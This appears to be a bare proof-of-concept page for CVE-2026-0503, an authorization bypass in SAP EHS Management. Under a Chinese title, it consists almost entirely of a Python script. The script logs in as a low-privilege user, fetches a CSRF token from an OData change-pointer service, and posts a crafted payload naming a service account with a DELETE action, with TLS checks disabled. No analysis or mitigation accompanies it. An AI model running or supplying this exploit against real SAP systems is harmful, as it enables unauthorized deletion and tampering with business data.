CVE-2026-0503 SAP EHS Management 授权绕过漏洞

# CVE-2026-0503 PoC - SAP EHS Management Authorization Bypass # Target: SAP ECC / S/4HANA EHS Management import requests import json TARGET = "https://sap-server:50000/sap/opu/odata/sap/" AUTH = ("attacker", "lowprivpassword") def exploit_authorization_bypass(): headers = { "Content-Type": "application/json", "X-CSRF-Token": "Fetch" } # Step 1: Get CSRF token response = requests.get( TARGET + "EHS_SSM_CHGPTR_SRV/ChangePointerSet", auth=AUTH, headers=headers, verify=False, timeout=30 ) csrf_token = response.headers.get("x-csrf-token", "") # Step 2: Exploit authorization bypass by manipulating user parameters exploit_payload = { "UserName": "SAPServiceEHS", # Target hardcoded service account "ChangePointerId": "MANIPULATED_ID", "Action": "DELETE" } headers["x-csrf-token"] = csrf_token headers["X-Requested-With"] = "XMLHttpRequest" # Step 3: Bypass authorization check response = requests.post( TARGET + "EHS_SSM_CHGPTR_SRV/ChangePointerSet", auth=AUTH, headers=headers, json=exploit_payload, verify=False, timeout=30 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Authorization bypass successful!") print("[+] Attacker can now access/modify/delete change pointers") else: print("[-] Exploitation failed") if __name__ == "__main__": exploit_authorization_bypass()